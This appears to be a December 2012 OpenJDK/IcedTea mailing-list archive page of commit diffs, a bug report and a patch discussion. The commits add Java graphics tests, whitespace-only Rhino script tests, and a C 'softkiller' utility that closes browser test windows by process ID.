From ptisnovs at icedtea.classpath.org Mon Dec 3 00:30:37 2012 From: ptisnovs at icedtea.classpath.org (ptisnovs at icedtea.classpath.org) Date: Mon, 03 Dec 2012 08:30:37 +0000 Subject: /hg/gfx-test: New tests added to the test suite src/org/gfxtest/... Message-ID: changeset b6ab20d99bbc in /hg/gfx-test details: http://icedtea.classpath.org/hg/gfx-test?cmd=changeset;node=b6ab20d99bbc author: Pavel Tisnovsky date: Mon Dec 03 09:33:36 2012 +0100 New tests added to the test suite src/org/gfxtest/testsuites/ClippingPathByEllipseShape.java. Added new test suite src/org/gfxtest/testsuites/Paths.java. diffstat: ChangeLog | 8 + Makefile | 2 + src/org/gfxtest/testsuites/ClippingPathByEllipseShape.java | 38 ++++++ src/org/gfxtest/testsuites/Paths.java | 85 ++++++++++++++ 4 files changed, 133 insertions(+), 0 deletions(-) diffs (178 lines): diff -r 62c4c2946710 -r b6ab20d99bbc ChangeLog --- a/ChangeLog Fri Nov 30 14:10:30 2012 +0100 +++ b/ChangeLog Mon Dec 03 09:33:36 2012 +0100 @@ -1,3 +1,11 @@ +2012-12-03 Pavel Tisnovsky + + * src/org/gfxtest/testsuites/ClippingPathByEllipseShape.java: + New tests added to this test suite. + * src/org/gfxtest/testsuites/Paths.java: + Added new (now empty) test suite. + * Makefile: Added new class to compile. + 2012-11-30 Pavel Tisnovsky * src/org/gfxtest/framework/CommonPathsGenerator.java: diff -r 62c4c2946710 -r b6ab20d99bbc Makefile --- a/Makefile Fri Nov 30 14:10:30 2012 +0100 +++ b/Makefile Mon Dec 03 09:33:36 2012 +0100 @@ -160,6 +160,7 @@ $(CLASSES)/$(TESTSUITE_DIR)/NormalQuadraticCurvesAsPaths.class \ $(CLASSES)/$(TESTSUITE_DIR)/NormalCubicCurves.class \ $(CLASSES)/$(TESTSUITE_DIR)/NormalCubicCurvesAsPaths.class \ + $(CLASSES)/$(TESTSUITE_DIR)/Paths.class \ $(CLASSES)/$(TESTSUITE_DIR)/FilledArcs.class \ $(CLASSES)/$(TESTSUITE_DIR)/FilledCircles.class \ $(CLASSES)/$(TESTSUITE_DIR)/FilledEllipses.class \ @@ -257,6 +258,7 @@ $(RESULTS)/NormalQuadraticCurvesAsPaths \ $(RESULTS)/NormalCubicCurves \ $(RESULTS)/NormalCubicCurvesAsPaths \ + $(RESULTS)/Paths \ $(RESULTS)/FilledArcs \ $(RESULTS)/FilledCircles \ $(RESULTS)/FilledEllipses \ diff -r 62c4c2946710 -r b6ab20d99bbc src/org/gfxtest/testsuites/ClippingPathByEllipseShape.java --- a/src/org/gfxtest/testsuites/ClippingPathByEllipseShape.java Fri Nov 30 14:10:30 2012 +0100 +++ b/src/org/gfxtest/testsuites/ClippingPathByEllipseShape.java Mon Dec 03 09:33:36 2012 +0100 @@ -219,6 +219,24 @@ } /** + * Draw crossed path containing quadratic segment clipped by an ellipse shape. + * + * @param image + * work image + * @param graphics2d + * graphics canvas + */ + private static void drawCrossedPathContainingCubicSegmentClippedByEllipseShape(TestImage image, Graphics2D graphics2d) + { + // prepare canvas for the rendering + basicSetupForRendering(image, graphics2d); + // set stroke color + CommonRenderingStyles.setStrokeColor(graphics2d); + // draw the crossed path + graphics2d.draw(CommonPathsGenerator.createCrossedClosedPathContainingCubicSegmentFloat(image)); + } + + /** * Check if line path could be clipped by an ellipse shape. Path is rendered * using stroke paint with default stroke width. * Line path is constructed using new Path.Float() @@ -361,6 +379,26 @@ } /** + * Check if crossed closed path could be clipped by an ellipse shape. Path + * is rendered using stroke paint with default stroke width. + * + * @param image + * work image + * @param graphics2d + * graphics canvas + * @return test result status - PASSED, FAILED or ERROR + */ + public TestResult testClipCrossedClosedPathContainingCubicSegmentByEllipseShapeStrokePaint(TestImage image, Graphics2D graphics2d) + { + // render ellipse which is used as a clip shape + CommonClippingOperations.renderClipEllipse(image, graphics2d); + // set clip region and draw the path + drawCrossedPathContainingCubicSegmentClippedByEllipseShape(image, graphics2d); + // test result + return TestResult.PASSED; + } + + /** * Check if line path could be clipped by an ellipse shape. Path is * rendered using stroke paint with zero stroke width. * Line path is constructed using new Path.Float() diff -r 62c4c2946710 -r b6ab20d99bbc src/org/gfxtest/testsuites/Paths.java --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/src/org/gfxtest/testsuites/Paths.java Mon Dec 03 09:33:36 2012 +0100 @@ -0,0 +1,85 @@ +/* + Java gfx-test framework + + Copyright (C) 2012 Red Hat + +This file is part of IcedTea. + +IcedTea is free software; you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation; either version 2, or (at your option) +any later version. + +IcedTea is distributed in the hope that it will be useful, but +WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +General Public License for more details. + +You should have received a copy of the GNU General Public License +along with IcedTea; see the file COPYING. If not, write to the +Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA +02110-1301 USA. + +Linking this library statically or dynamically with other modules is +making a combined work based on this library. Thus, the terms and +conditions of the GNU General Public License cover the whole +combination. + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent +modules, and to copy and distribute the resulting executable under +terms of your choice, provided that you also meet, for each linked +independent module, the terms and conditions of the license of that +module. An independent module is a module which is not derived from +or based on this library. If you modify this library, you may extend +this exception to your version of the library, but you are not +obligated to do so. If you do not wish to do so, delete this +exception statement from your version. + */ + +package org.gfxtest.testsuites; + +import java.awt.Graphics2D; + + +import org.gfxtest.framework.CommonPathsGenerator; +import org.gfxtest.framework.CommonRenderingStyles; +import org.gfxtest.framework.GfxTest; +import org.gfxtest.framework.TestImage; +import org.gfxtest.framework.TestResult; +import org.gfxtest.framework.annotations.GraphicsPrimitive; +import org.gfxtest.framework.annotations.GraphicsPrimitives; +import org.gfxtest.framework.annotations.TestType; +import org.gfxtest.framework.annotations.TestTypes; +import org.gfxtest.framework.annotations.Transformation; +import org.gfxtest.framework.annotations.Transformations; +import org.gfxtest.framework.annotations.Zoom; + + + +/** + * Various paths and various rendering styles are used for + * rendering. + * + * @author Pavel Tisnovsky + */ + at TestType(TestTypes.RENDER_TEST) + at Transformation(Transformations.NONE) + at GraphicsPrimitive(GraphicsPrimitives.PATH) + at Zoom(1) +public class Paths extends GfxTest +{ + + /** + * Entry point to the test suite. + * + * @param args + * graphics test configuration + */ + public static void main(String[] args) + { + new Paths().runTestSuite(args); + } +} + From bugzilla-daemon at icedtea.classpath.org Mon Dec 3 00:55:08 2012 From: bugzilla-daemon at icedtea.classpath.org (bugzilla-daemon at icedtea.classpath.org) Date: Mon, 03 Dec 2012 08:55:08 +0000 Subject: [Bug 1235] New: Browser proxy option "4" (Automatic) not supported yet Message-ID: http://icedtea.classpath.org/bugzilla/show_bug.cgi?id=1235 Bug ID: 1235 Summary: Browser proxy option "4" (Automatic) not supported yet Classification: Unclassified Product: IcedTea-Web Version: unspecified Hardware: x86_64 OS: Linux Status: NEW Severity: normal Priority: P3 Component: NetX (javaws) Assignee: omajid at redhat.com Reporter: mvyskocil at suse.cz CC: unassigned at icedtea.classpath.org Created attachment 806 --> http://icedtea.classpath.org/bugzilla/attachment.cgi?id=806&action=edit the output of javaws -verbose moved from https://bugzilla.novell.com/show_bug.cgi?id=784859 The attemt to download of jars fails with the message in $SUBJECT, so user needs to download them manually. Attached cleaned output from javaws -verbose jviewer.jnlp icedtea-web version: 1.3.1 -- You are receiving this mail because: You are on the CC list for the bug. -------------- next part -------------- An HTML attachment was scrubbed... URL: http://mail.openjdk.java.net/pipermail/distro-pkg-dev/attachments/20121203/d531165e/attachment.html From ptisnovs at icedtea.classpath.org Mon Dec 3 00:59:29 2012 From: ptisnovs at icedtea.classpath.org (ptisnovs at icedtea.classpath.org) Date: Mon, 03 Dec 2012 08:59:29 +0000 Subject: /hg/rhino-tests: Added missing import into AbstractScriptEngineC... Message-ID: changeset 9561522de605 in /hg/rhino-tests details: http://icedtea.classpath.org/hg/rhino-tests?cmd=changeset;node=9561522de605 author: Pavel Tisnovsky date: Mon Dec 03 10:02:31 2012 +0100 Added missing import into AbstractScriptEngineClassTest and CompilableClassTest. Added eight new tests into CompilableTest and JavaScriptSnippets. diffstat: ChangeLog | 10 + src/org/RhinoTests/AbstractScriptEngineClassTest.java | 1 + src/org/RhinoTests/CompilableClassTest.java | 1 + src/org/RhinoTests/CompilableTest.java | 120 ++++++++++++++++++ src/org/RhinoTests/JavaScriptSnippets.java | 40 ++++++ 5 files changed, 172 insertions(+), 0 deletions(-) diffs (219 lines): diff -r 564fa4235e3e -r 9561522de605 ChangeLog --- a/ChangeLog Fri Nov 30 17:06:26 2012 +0100 +++ b/ChangeLog Mon Dec 03 10:02:31 2012 +0100 @@ -1,3 +1,13 @@ +2012-12-03 Pavel Tisnovsky + + * src/org/RhinoTests/AbstractScriptEngineClassTest.java: + * src/org/RhinoTests/CompilableClassTest.java: + Added missing import. + + * src/org/RhinoTests/CompilableTest.java: + * src/org/RhinoTests/JavaScriptSnippets.java: + Added eight new tests. + 2012-11-30 Pavel Tisnovsky * src/org/RhinoTests/AbstractScriptEngineClassTest.java: diff -r 564fa4235e3e -r 9561522de605 src/org/RhinoTests/AbstractScriptEngineClassTest.java --- a/src/org/RhinoTests/AbstractScriptEngineClassTest.java Fri Nov 30 17:06:26 2012 +0100 +++ b/src/org/RhinoTests/AbstractScriptEngineClassTest.java Mon Dec 03 10:02:31 2012 +0100 @@ -46,6 +46,7 @@ import java.util.Map; import java.util.HashMap; +import java.lang.annotation.Annotation; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.Method; diff -r 564fa4235e3e -r 9561522de605 src/org/RhinoTests/CompilableClassTest.java --- a/src/org/RhinoTests/CompilableClassTest.java Fri Nov 30 17:06:26 2012 +0100 +++ b/src/org/RhinoTests/CompilableClassTest.java Mon Dec 03 10:02:31 2012 +0100 @@ -46,6 +46,7 @@ import java.util.Map; import java.util.HashMap; +import java.lang.annotation.Annotation; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.Method; diff -r 564fa4235e3e -r 9561522de605 src/org/RhinoTests/CompilableTest.java --- a/src/org/RhinoTests/CompilableTest.java Fri Nov 30 17:06:26 2012 +0100 +++ b/src/org/RhinoTests/CompilableTest.java Mon Dec 03 10:02:31 2012 +0100 @@ -208,6 +208,126 @@ } /** + * Test if it is possible to compile script from a string. + * + * @throws ScriptException + * this exception is thrown when this test case failed. + */ + protected void testCompileEmptyScriptStoredInString7() throws ScriptException { + Compilable compilingEngine = (Compilable)this.scriptEngine; + assertNotNull(compilingEngine, "cannot get compiling engine"); + if (compilingEngine != null) { + CompiledScript script = compilingEngine.compile(JavaScriptSnippets.EMPTY_SCRIPT_7); + assertNotNull(script, "cannot compile script"); + } + } + + /** + * Test if it is possible to compile script from a string. + * + * @throws ScriptException + * this exception is thrown when this test case failed. + */ + protected void testCompileEmptyScriptStoredInString8() throws ScriptException { + Compilable compilingEngine = (Compilable)this.scriptEngine; + assertNotNull(compilingEngine, "cannot get compiling engine"); + if (compilingEngine != null) { + CompiledScript script = compilingEngine.compile(JavaScriptSnippets.EMPTY_SCRIPT_8); + assertNotNull(script, "cannot compile script"); + } + } + + /** + * Test if it is possible to compile script from a string. + * + * @throws ScriptException + * this exception is thrown when this test case failed. + */ + protected void testCompileEmptyScriptStoredInString9() throws ScriptException { + Compilable compilingEngine = (Compilable)this.scriptEngine; + assertNotNull(compilingEngine, "cannot get compiling engine"); + if (compilingEngine != null) { + CompiledScript script = compilingEngine.compile(JavaScriptSnippets.EMPTY_SCRIPT_9); + assertNotNull(script, "cannot compile script"); + } + } + + /** + * Test if it is possible to compile script from a string. + * + * @throws ScriptException + * this exception is thrown when this test case failed. + */ + protected void testCompileEmptyScriptStoredInString10() throws ScriptException { + Compilable compilingEngine = (Compilable)this.scriptEngine; + assertNotNull(compilingEngine, "cannot get compiling engine"); + if (compilingEngine != null) { + CompiledScript script = compilingEngine.compile(JavaScriptSnippets.EMPTY_SCRIPT_10); + assertNotNull(script, "cannot compile script"); + } + } + + /** + * Test if it is possible to compile script from a string. + * + * @throws ScriptException + * this exception is thrown when this test case failed. + */ + protected void testCompileEmptyScriptStoredInString11() throws ScriptException { + Compilable compilingEngine = (Compilable)this.scriptEngine; + assertNotNull(compilingEngine, "cannot get compiling engine"); + if (compilingEngine != null) { + CompiledScript script = compilingEngine.compile(JavaScriptSnippets.EMPTY_SCRIPT_11); + assertNotNull(script, "cannot compile script"); + } + } + + /** + * Test if it is possible to compile script from a string. + * + * @throws ScriptException + * this exception is thrown when this test case failed. + */ + protected void testCompileEmptyScriptStoredInString12() throws ScriptException { + Compilable compilingEngine = (Compilable)this.scriptEngine; + assertNotNull(compilingEngine, "cannot get compiling engine"); + if (compilingEngine != null) { + CompiledScript script = compilingEngine.compile(JavaScriptSnippets.EMPTY_SCRIPT_12); + assertNotNull(script, "cannot compile script"); + } + } + + /** + * Test if it is possible to compile script from a string. + * + * @throws ScriptException + * this exception is thrown when this test case failed. + */ + protected void testCompileEmptyScriptStoredInString13() throws ScriptException { + Compilable compilingEngine = (Compilable)this.scriptEngine; + assertNotNull(compilingEngine, "cannot get compiling engine"); + if (compilingEngine != null) { + CompiledScript script = compilingEngine.compile(JavaScriptSnippets.EMPTY_SCRIPT_13); + assertNotNull(script, "cannot compile script"); + } + } + + /** + * Test if it is possible to compile script from a string. + * + * @throws ScriptException + * this exception is thrown when this test case failed. + */ + protected void testCompileEmptyScriptStoredInString14() throws ScriptException { + Compilable compilingEngine = (Compilable)this.scriptEngine; + assertNotNull(compilingEngine, "cannot get compiling engine"); + if (compilingEngine != null) { + CompiledScript script = compilingEngine.compile(JavaScriptSnippets.EMPTY_SCRIPT_14); + assertNotNull(script, "cannot compile script"); + } + } + + /** * Test if it is possible to compile and then run script from a string. * * @throws ScriptException diff -r 564fa4235e3e -r 9561522de605 src/org/RhinoTests/JavaScriptSnippets.java --- a/src/org/RhinoTests/JavaScriptSnippets.java Fri Nov 30 17:06:26 2012 +0100 +++ b/src/org/RhinoTests/JavaScriptSnippets.java Mon Dec 03 10:02:31 2012 +0100 @@ -78,6 +78,46 @@ protected static final String EMPTY_SCRIPT_6 = " \t \t "; /** + * Almost empty, but still valid script. + */ + protected static final String EMPTY_SCRIPT_7 = "\n"; + + /** + * Almost empty, but still valid script. + */ + protected static final String EMPTY_SCRIPT_8 = "\n\n"; + + /** + * Almost empty, but still valid script. + */ + protected static final String EMPTY_SCRIPT_9 = "\n\t"; + + /** + * Almost empty, but still valid script. + */ + protected static final String EMPTY_SCRIPT_10 = "\t\n"; + + /** + * Almost empty, but still valid script. + */ + protected static final String EMPTY_SCRIPT_11 = "\t\n\t"; + + /** + * Almost empty, but still valid script. + */ + protected static final String EMPTY_SCRIPT_12 = "\n \n"; + + /** + * Almost empty, but still valid script. + */ + protected static final String EMPTY_SCRIPT_13 = " \n \n"; + + /** + * Almost empty, but still valid script. + */ + protected static final String EMPTY_SCRIPT_14 = "\n \n "; + + /** * Numeric expression. */ protected static final String NUMERIC_EXPRESSION_1 = "1+2"; From ptisnovs at icedtea.classpath.org Mon Dec 3 05:40:33 2012 From: ptisnovs at icedtea.classpath.org (ptisnovs at icedtea.classpath.org) Date: Mon, 03 Dec 2012 13:40:33 +0000 Subject: /hg/icedtea-web: Added browser softkiller and related Makefile. Message-ID: changeset eedc15145aa6 in /hg/icedtea-web details: http://icedtea.classpath.org/hg/icedtea-web?cmd=changeset;node=eedc15145aa6 author: Pavel Tisnovsky date: Mon Dec 03 14:43:18 2012 +0100 Added browser softkiller and related Makefile. diffstat: ChangeLog | 10 + Makefile.am | 13 +- tests/softkiller/Makefile | 9 + tests/softkiller/softkiller.c | 443 ++++++++++ tests/test-extensions/net/sourceforge/jnlp/browsertesting/browsers/Firefox.java | 2 +- 5 files changed, 474 insertions(+), 3 deletions(-) diffs (truncated from 528 to 500 lines): diff -r 172a5691e70d -r eedc15145aa6 ChangeLog --- a/ChangeLog Fri Nov 30 13:08:45 2012 -0500 +++ b/ChangeLog Mon Dec 03 14:43:18 2012 +0100 @@ -1,3 +1,13 @@ +2012-12-03 Pavel Tisnovsky + + * Makefile.am: Added new target for compiling softkiller. + * tests/softkiller/softkiller.c: + Added browser softkiller. + * tests/softkiller/Makefile: + Added makefile used to build and clean browser softkiller. + * tests/test-extensions/net/sourceforge/jnlp/browsertesting/browsers/Firefox.java: + Uncommented code used to close windows. + 2012-11-30 Adam Domurad Breaks up IcedTeaPluginUtilities::javaResultToNPVariant into multiple, diff -r 172a5691e70d -r eedc15145aa6 Makefile.am --- a/Makefile.am Fri Nov 30 13:08:45 2012 -0500 +++ b/Makefile.am Mon Dec 03 14:43:18 2012 +0100 @@ -39,6 +39,7 @@ export TEST_CERT_ALIAS=icedteaweb export PUBLIC_KEYSTORE=${HOME}/.icedtea/security/trusted.certs export PUBLIC_KEYSTORE_PASS=changeit +export SOFTKILLER=softkiller export JUNIT_RUNNER_JAR=$(abs_top_builddir)/junit-runner.jar export UNIT_CLASS_NAMES = $(abs_top_builddir)/unit_class_names @@ -808,9 +809,14 @@ done ; \ echo $$class_names > $(REPRODUCERS_CLASS_NAMES) +$(TESTS_DIR)/$(SOFTKILLER): + cd $(TESTS_SRCDIR)/$(SOFTKILLER); \ + $(MAKE) ; \ + mv $(SOFTKILLER) $(TESTS_DIR)/ + stamps/run-netx-dist-tests.stamp: stamps/netx-dist.stamp extra-lib/about.jar stamps/plugin.stamp launcher.build/$(javaws) \ javaws.desktop stamps/docs.stamp launcher.build/$(itweb_settings) itweb-settings.desktop \ - stamps/netx.stamp stamps/junit-jnlp-dist-dirs stamps/netx-dist-tests-import-cert-to-public \ + stamps/netx.stamp stamps/junit-jnlp-dist-dirs stamps/netx-dist-tests-import-cert-to-public $(TESTS_DIR)/softkiller \ stamps/test-extensions-compile.stamp stamps/compile-reproducers-testcases.stamp $(JUNIT_RUNNER_JAR) stamps/copy-reproducers-resources.stamp\ $(TESTS_DIR)/$(REPORT_STYLES_DIRNAME) $(REPRODUCERS_CLASS_NAMES) stamps/process-custom-reproducers.stamp cd $(TEST_EXTENSIONS_DIR) ; \ @@ -1191,7 +1197,10 @@ rm -rf $(TESTS_DIR)/$(REPORT_STYLES_DIRNAME)/ rm -f $(TESTS_DIR)/*.html -clean-netx-dist-tests: clean_tests_reports netx-dist-tests-remove-cert-from-public clean-custom-reproducers +clean-$(SOFTKILLER): + rm $(TESTS_DIR)/softkiller + +clean-netx-dist-tests: clean_tests_reports netx-dist-tests-remove-cert-from-public clean-custom-reproducers clean-$(SOFTKILLER) rm -f test-extensions-source-files.txt rm -f test-extensions-tests-source-files.txt rm -f $(TEST_EXTENSIONS_COMPATIBILITY_SYMLINK) diff -r 172a5691e70d -r eedc15145aa6 tests/softkiller/Makefile --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/tests/softkiller/Makefile Mon Dec 03 14:43:18 2012 +0100 @@ -0,0 +1,9 @@ +# we need c99 because of snprintf function! +# (this function does not exist in C89/ANSI C) + +softkiller: softkiller.c + $(CC) -Wall -pedantic -std=c99 -o $@ -lX11 $< + +clean: + rm softkiller + diff -r 172a5691e70d -r eedc15145aa6 tests/softkiller/softkiller.c --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/tests/softkiller/softkiller.c Mon Dec 03 14:43:18 2012 +0100 @@ -0,0 +1,443 @@ +/* X Window app killer + * + * Author: Pavel Tisnovsky + * + * Compile: + * gcc -Wall -pedantic -std=c99 -o softkiller softkiller.c -lX11 + * (please note that -std=c99 is needed because we use snprintf + * function which does not exist in C89/ANSI C) + * + * Run: + * ./softkiller PID + */ + + + +#include +#include +#include +#include +#include +#include +#include +#include + +/* + * Number of long decimal digits + 1 (for ASCIIZ storage) + */ +#define MAX_LONG_DECIMAL_DIGITS 21 + +/* + * Max line length in /proc/stat files + */ +#define MAX_LINE 8192 + +/* + * Max filename length for /proc/... files + */ +#define MAX_FILENAME 32 + +/* + * Return values + */ +#define EXIT_CODE_OK 0 +#define EXIT_CODE_ERROR 1 + +/* + * Different softkilling strategies + */ +#define TRY_TO_CLOSE_WINDOW 1 +#define TRY_TO_KILL_WINDOW 1 + +/* + * Delay between application of different softkilling strategies. + */ +#define SLEEP_AMOUNT 2 + +/* + * Not in c89/c99... + */ +#define file_no(FP) ((FP)->_fileno) + +/* + * Basic information about given process + */ +typedef struct ProcStruct +{ + long uid, pid, ppid; + char cmd[MAX_LINE]; +} ProcStruct; + +ProcStruct *P = NULL; + +int N = 0; + +Display *display; +Window root_window; +Atom atom_pid; + + + +/* + * Read basic process info from the file /proc/${PID}/stat + * where ${PID} is process ID. + */ +int read_process_info(char *file_name_part, ProcStruct *P) +{ + FILE *fin; + char filename[MAX_FILENAME]; + struct stat stat; + + /* try to open file /proc/${PID}/stat for reading */ + snprintf(filename, sizeof(filename), "%s%s", file_name_part, "/stat"); + fin = fopen(filename, "r"); + + if (fin == NULL) + { + return 0; /* process vanished since glob() */ + } + + /* read basic process info */ + if (3 != fscanf(fin, "%ld %s %*c %ld", &(P->pid), P->cmd, &(P->ppid))) + { + fclose(fin); + return 0; /* Problem with file format, AFAIK should not happen */ + } + if (fstat(file_no(fin), &stat)) + { + fclose(fin); + return 0; + } + P->uid = stat.st_uid; + + /* fin can't be NULL here */ + fclose(fin); + return 1; +} + + + +/* + * Read command line parameters for given ${PID} + */ +int read_cmd_line(char *file_name_part, char *cmd) +{ + FILE *fin; + char filename[MAX_FILENAME]; + int c; + int k = 0; + + /* try to open file /proc/${PID}/cmdline for reading */ + snprintf(filename, sizeof(filename), "%s%s", file_name_part, "/cmdline"); + fin = fopen(filename, "r"); + + if (fin == NULL) + { + return 0; /* process vanished since glob() */ + } + + /* replace \0 by spaces */ + while (k < MAX_LINE - 1 && EOF != (c = fgetc(fin))) + { + cmd[k++] = c == '\0' ? ' ' : c; + } + if (k > 0) + { + cmd[k] = '\0'; + } + + /* fin can't be NULL here */ + fclose(fin); + return 1; +} + + + +/* + * Fill in an array pointed by P. + */ +int get_processes(void) +{ + glob_t globbuf; + unsigned int i, j; + + glob("/proc/[0-9]*", GLOB_NOSORT, NULL, &globbuf); + + P = calloc(globbuf.gl_pathc, sizeof(struct ProcStruct)); + if (P == NULL) + { + fprintf(stderr, "Problems with malloc, it should not happen...\n"); + exit(1); + } + + for (i = j = 0; i < globbuf.gl_pathc; i++) + { + char * name_part = globbuf.gl_pathv[globbuf.gl_pathc - i - 1]; + if (read_process_info(name_part, &(P[j])) == 0) + { + continue; + } + if (read_cmd_line(name_part, P[j].cmd) == 0) + { + continue; + } + /* Debug output */ + /* printf("uid=%5ld, pid=%5ld, ppid=%5ld, cmd='%s'\n", P[j].uid, P[j].pid, P[j].ppid, P[j].cmd); */ + j++; + } + globfree(&globbuf); + return j; +} + + + +/* + * Try to open X Display + */ +Display * open_display(void) +{ + Display *display = XOpenDisplay(0); + if (display == NULL) + { + puts("Cannot open display"); + exit(EXIT_CODE_ERROR); + } + return display; +} + + + +/* + * Return the atom identifier for the atom name "_NET_WM_PID" + */ +Atom get_atom_pid(Display *display) +{ + Atom atom_pid = XInternAtom(display, "_NET_WM_PID", True); + if (atom_pid == None) + { + printf("No such atom _NET_WM_PID"); + exit(EXIT_CODE_ERROR); + } + return atom_pid; +} + + + +/* + * Try to focus the window and send Ctrl+W to it. + */ +void close_window(Window window, long processId) +{ + char windowIDstr[MAX_LONG_DECIMAL_DIGITS]; + pid_t pid; + + snprintf(windowIDstr, MAX_LONG_DECIMAL_DIGITS, "%ld", window); + char *args[] = + { + "/usr/bin/xdotool", + "windowfocus", + windowIDstr, + "windowactivate", + windowIDstr, + "key", + "--window", + windowIDstr, + "--clearmodifiers", + "Ctrl+W", + (char *) NULL + }; + if ((pid = fork()) == -1) + { + perror("some fork error"); + } + else if (pid == 0) + { + /* child process */ + printf("Trying to close window ID %ld for process ID %ld\n", (long)window, processId); + execv("/usr/bin/xdotool", args); + } + else + { + /* parent process */ + sleep(SLEEP_AMOUNT); + } +} + + + +/* + * Run xkill to kill window with specified window ID + */ +void kill_window(Window window, long processId) +{ + char windowIDstr[MAX_LONG_DECIMAL_DIGITS]; + pid_t pid; + + /* we need to convert window id (long) into a string to call xkill */ + snprintf(windowIDstr, MAX_LONG_DECIMAL_DIGITS, "%ld", window); + char *args[] = + { + "/usr/bin/xkill", + "-id", + windowIDstr, + (char *) NULL + }; + if ((pid = fork()) == -1) + { + perror("some fork error"); + } + else if (pid == 0) + { + printf("Trying to kill window ID %ld for process ID %ld\n", (long)window, processId); + execv("/usr/bin/xkill", args); + } + else + { + // parent + sleep(SLEEP_AMOUNT); + } +} + + + +/* + * Recursivelly search for a window(s) associated with given process ID + */ +void search_and_destroy(Display *display, Window window, Atom atomPID, long processId) +{ + Atom type; + int format; + unsigned long nItems; + unsigned long bytesAfter; + unsigned char *propertyPID = NULL; + + /* read _NET_WM_PID property, if exists */ + if (Success == XGetWindowProperty(display, window, atomPID, 0, 1, False, XA_CARDINAL, + &type, &format, &nItems, &bytesAfter, &propertyPID)) + { + if (propertyPID != NULL) + { + if (processId == *((unsigned long *)propertyPID)) + { + printf("Found window ID %ld for process ID %ld\n", (long)window, processId); + XFree(propertyPID); +#if TRY_TO_CLOSE_WINDOW == 1 + close_window(window, processId); +#endif +#if TRY_TO_KILL_WINDOW == 1 + kill_window(window, processId); +#endif + } + } + } + + /* recurse into child windows */ + Window rootWindow; + Window parentWindow; + Window *childWindows; + unsigned nChildren; + if (0 != XQueryTree(display, window, &rootWindow, &parentWindow, &childWindows, &nChildren)) + { + unsigned int i; + for(i = 0; i < nChildren; i++) + { + search_and_destroy(display, childWindows[i], atomPID, processId); + } + } +} + + + +/* + * Kill process with given ancestor PID. + */ +void kill_process(int pid) +{ + Atom atom_pid = get_atom_pid(display); + printf("Searching for windows associated with PID %d\n", pid); + search_and_destroy(display, root_window, atom_pid, pid); +} + + + +/* + * Kill all processes with given ppid (ancestor PID) + */ +void kill_processes_with_ppid(int ppid) +{ + int i; + int done = 1; + for (i = 0; i < N; i++) + { + if (ppid == P[i].ppid) + { + int pid = P[i].pid; + printf("uid=%5ld, pid=%5ld, ppid=%5ld, cmd='%s'\n", P[i].uid, P[i].pid, P[i].ppid, P[i].cmd); + kill_processes_with_ppid(pid); + /* at least one child process exists */ + done = 0; + kill_process(pid); + } + } + kill_process(ppid); + /* if none child processes have been found we are at bottom of the process tree */ + if (done) + { + return; + } +} + + + +/* TODO: better check for user input */ +int read_pid(int argc, char **argv) +{ + int pid; + + if (argc != 2) + { + puts("Usage softkiller PID"); + exit(EXIT_CODE_ERROR); + } + + pid = atoi(argv[1]); + + if (sscanf(argv[1], "%d", &pid) != 1) + { + printf("Wrong PID entered: %s\n", argv[1]); + exit(EXIT_CODE_ERROR); + } + + /* basic check (nobody should try to kill PID 0 :) */ + if (pid <= 0) + { + printf("Wrong process ID %d\n", pid); + exit(EXIT_CODE_ERROR); + } + + return pid; +} + + + +/* + * Entry point to this tool. + */ +int main(int argc, char **argv) +{ From jvanek at redhat.com Mon Dec 3 06:35:20 2012 From: jvanek at redhat.com (Jiri Vanek) Date: Mon, 03 Dec 2012 15:35:20 +0100 Subject: [rfc] [icedtea-web] cleaning XML logging from wrong character Message-ID: <50BCB8A8.5020204@redhat.com> Epiphany is littel bit confuse dby JS<->applet tests and is returning negative, zero or to high retyped chars. Those chars break xml processing, so I would like to get them out from xml by this patch (kept in plain text). Also I have realised I have broken unittest logging some tie ago. Fixed also:( J. -------------- next part -------------- A non-text attachment was scrubbed... Name: fixingLoging2.patch Type: text/x-patch Size: 4260 bytes Desc: not available Url : http://mail.openjdk.java.net/pipermail/distro-pkg-dev/attachments/20121203/5d4330e9/fixingLoging2.patch From adomurad at redhat.com Mon Dec 3 06:54:57 2012 From: adomurad at redhat.com (Adam Domurad) Date: Mon, 03 Dec 2012 09:54:57 -0500 Subject: [rfc] [icedtea-web] cleaning XML logging from wrong character In-Reply-To: <50BCB8A8.5020204@redhat.com> References: <50BCB8A8.5020204@redhat.com> Message-ID: <50BCBD41.2080709@redhat.com> On 12/03/2012 09:35 AM, Jiri Vanek wrote: > Epiphany is littel bit confuse dby JS<->applet tests and is returning > negative, zero or to high retyped chars. > Those chars break xml processing, so I would like to get them out from > xml by this patch (kept in plain text). > > Also I have realised I have broken unittest logging some tie ago. > Fixed also:( > > J. > diff -r eedc15145aa6 ChangeLog > --- a/ChangeLog Mon Dec 03 14:43:18 2012 +0100 > +++ b/ChangeLog Mon Dec 03 15:31:47 2012 +0100 > @@ -1,3 +1,13 @@ > +2012-11-03 Jiri Vanek > + > + Fixed logging bottleneck > + * tests/test-extensions/net/sourceforge/jnlp/LoggingBottleneck.java: > + added and used function (clearChars) which filter characters > going to xml > + from invalid ones. > + * tests/test-extensions/net/sourceforge/jnlp/ServerAccess: > getting test > + method id by (getTestMethod) now relay on physical way to the > class as > + the only real thing differing test class and framework class. > + > 2012-12-03 Pavel Tisnovsky > > * Makefile.am: Added new target for compiling softkiller. > diff -r eedc15145aa6 > tests/test-extensions/net/sourceforge/jnlp/LoggingBottleneck.java > --- > a/tests/test-extensions/net/sourceforge/jnlp/LoggingBottleneck.java > Mon Dec 03 14:43:18 2012 +0100 > +++ > b/tests/test-extensions/net/sourceforge/jnlp/LoggingBottleneck.java > Mon Dec 03 15:31:47 2012 +0100 > @@ -117,7 +117,7 @@ > String testName = testLog.getKey(); > String testLogs = testLog.getValue().toString(); > w.write("<" + TESTLOG_ELEMENT + " " + > TESTMETHOD_ATTRIBUTE + "=\"" + testName + "\" " + FULLID_ATTRIBUTE + > "=\"" + 